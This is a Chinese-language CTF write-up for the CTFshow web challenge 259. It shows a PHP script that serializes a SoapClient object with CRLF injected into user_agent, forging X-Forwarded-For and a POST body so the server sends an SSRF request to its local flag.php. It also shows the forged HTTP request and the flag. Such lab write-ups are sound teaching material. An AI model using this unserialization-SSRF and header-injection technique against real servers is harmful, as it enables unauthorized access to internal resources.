当前位置: 首页 > news >正文

ctf show web入门259

这是一道php反序列化和ssrf结合的题目,先看题目给的提示

这里的代码对 X-Forwarded-For(XFF)头进行了两次 array_pop(弹出尾部元素)。

意味着如果你的 XFF 头形如 127.0.0.1, 8.8.8.8,第一次 pop 弹出 8.8.8.8,第二次 pop 弹出的 $ip 就是 127.0.0.1。

因此,我们需要在请求 flag.php 时,携带特定的 HTTP 请求头:X-Forwarded-For: 127.0.0.1, 127.0.0.1
然后就是题目主题部分了

题目接收一个 GET 参数 vip 并对其进行反序列化

接着调用了 $vip->getFlag();
但是我们可以看到这里并没有定义getFlag()这个方法
通过查询可以知道,如果源码没给类的名字,通常暗示我们要利用 PHP 的内置类。
能够发起 HTTP 请求、并且经常在反序列化中被用来做 SSRF/触发特定方法的 PHP 内置类是:SoapClient
SoapClient 是 PHP 的内置类,用于处理 SOAP 协议请求
它有一个特性:当调用一个 SoapClient 实例上不存在的方法时,它会通过内置的 __call 魔术方法,自动向配置的 location 发送一个 HTTP/POST 请求
题目中调用的 $vip->getFlag(),如果 $vip 是一个 SoapClient 对象,由于它没有 getFlag 方法,就会触发 __call,从而自动向其指定的 URL 发送 POST 请求!这完美契合了我们需要向 flag.php 发送 POST 请求的需求
__call是当试图在一个对象上调用一个不存在或者不可访问的实例化方法时php不会直接报错崩溃,而是会自动自动触发并执行该类中定义的__call()方法

我们需要在本地写一个 PHP 脚本,来生成给 vip 参数传参的序列化字符串。

利用 SoapClient 伪造 POST 和 XFF 头
SoapClient 的构造函数允许我们传入 location(目标地址)和 options(配置项)。我们可以利用 user_agent 配置项来注入换行符(CRLF),从而在发送请求时强行加入我们自定义的 X-Forwarded-For 头和 POST 数据
下面是payload脚本:

<?php// 1. 设置我们要让服务器内部访问的目标(flag.php)$target='http://127.0.0.1/flag.php';// 2. 构造 POST 提交的数据$post_data='token=ctfshow';// 3. 利用 user_agent 注入 CRLF (\r\n) 来伪造 Content-Type, XFF 头 和 Content-Length$user_agent="Wget/1.14 (linux-gnu)\r\n"."X-Forwarded-For: 127.0.0.1, 127.0.0.1\r\n"."Content-Type: application/x-www-form-urlencoded\r\n"."Content-Length: ".strlen($post_data)."\r\n\r\n".$post_data;// 4. 实例化 SoapClient,uri 可以随便填,location 填目标地址$b=newSoapClient(null,array('location'=>$target,'uri'=>'http://127.0.0.1/','user_agent'=>$user_agent));// 5. 输出序列化后的字符串echourlencode(serialize($b));?>

我们在本地执行

得到的这串就是被url编码后的序列化内容


这是url编码前的样子
当题目执行 $vip->getFlag() 时,SoapClient 真正发送给 flag.php 的标准 HTTP 请求报文就会变成下面这样
POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Wget/1.14 (linux-gnu)
X-Forwarded-For: 127.0.0.1, 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

token=ctfshow

我们将url编码后的内容传给vip

因为这里的X-Forwarded-For传入了两个值都是127.0.0.1通过了提示中的这个验证

flag.php 的第二个限制是必须通过 POST 方式 提交 token=ctfshow
根据 HTTP 协议规范,连续两个换行(即空一行)后面的所有内容,都会被识别为 POST 数据的正文(Body)
你在 _user_agent 的末尾连续注入了两个换行,然后紧跟了 token=ctfshow。同时,为了让后端服务器知道后面有数据、有多少数据,你还顺便伪造了:
Content-Type: application/x-www-form-urlencoded(告诉服务器这是表单提交)
Content-Length: 13(告诉服务器 POST 数据一共有 13 个字符长)
这样,flag.php 在读取请求时,不仅认为你是从本地合法的 IP 访问的,还成功在 $_POST[‘token’] 中收到了 ctfshow 值
最后就可以发起请求访问本地的flag.txt
我们只需要访问:flag.txt 就能拿到flag


flag为:ctfshow{3f303626-1446-4274-88f1-ad45ce2b1c58}

http://www.rkmt.cn/news/1417203.html

相关文章:

  • 数据库基础概述
  • 对比使用前后Taotoken如何让我的模型API账单变得清晰易懂
  • 2025-2026 AI全媒体营销服务商选型 - 资讯快报
  • 卖工业空压机怎么找客户?下游工厂在哪里
  • 什么是扫码出入库?从原理到落地一次讲清楚
  • 拒绝模板化:极具挑战性的英文前端页面需求
  • 2026年合肥高新区废品回收公司推荐排行榜TOP5 - 速递信息
  • LangGraph 动态工作流:如何在运行时修改 Agent 的执行图谱?
  • 火灾动力学方向核心期刊及文献阅读方法整理
  • Plc编程教程
  • Socket BIO NIO AIO 基本概念
  • Open-Meteo:如何零成本获取专业级天气数据API的完整指南
  • 别再只会apt-get了!Ubuntu 22.04上从源码编译安装Open vSwitch 3.2的完整指南
  • 太和养老系统:打造智慧养老生态圈 #05272141
  • 经典算法题之我能赢吗(二)
  • 【零基础部署】Docker 部署 Redis 保姆级教程
  • 小白也能看懂!AI大模型概念清单,收藏这份学习指南轻松入门
  • 从Python列表切片到LLM接口实战:零基础AI编程落地教程
  • taotoken平台api调用稳定性与低延迟实际网络测试感受
  • 从实验室到上车:一份完整的车载毫米波雷达环境与耐久性测试清单
  • 告别杜邦线乱飞!用PCF8574模块和I2C总线,让你的51单片机LCD1602接线清爽起来
  • 2026实测乌鲁木齐四大财税机构:公司注册首选TOP1出炉! - 小柏云
  • GitNexus是Monorepo单体仓库
  • 电磁直线执行器直接驱动的流体控制阀系统【附程序】
  • 模型检验中的对称性破缺技术:应对核电站IC系统验证的组合爆炸
  • 基于Arduino的密码锁系统:从矩阵键盘到伺服电机的完整实现
  • 中国石化仪征化纤有限责任公司特种纤维研究所所长王芳,分享《超高分子量聚乙烯纤维和对位芳纶纤维在工程领域的应用》
  • 2026国产在线余氯监测仪十大品牌深度横评:技术破局与全场景选型指南 - 液体流量液位品牌推荐
  • 投资者信任危机应对全解析,深度解读Gemini IR风控模型与实时舆情响应机制
  • NI-DAQmx模拟设备(SimDev)完全使用指南:没硬件也能玩转数据采集仿真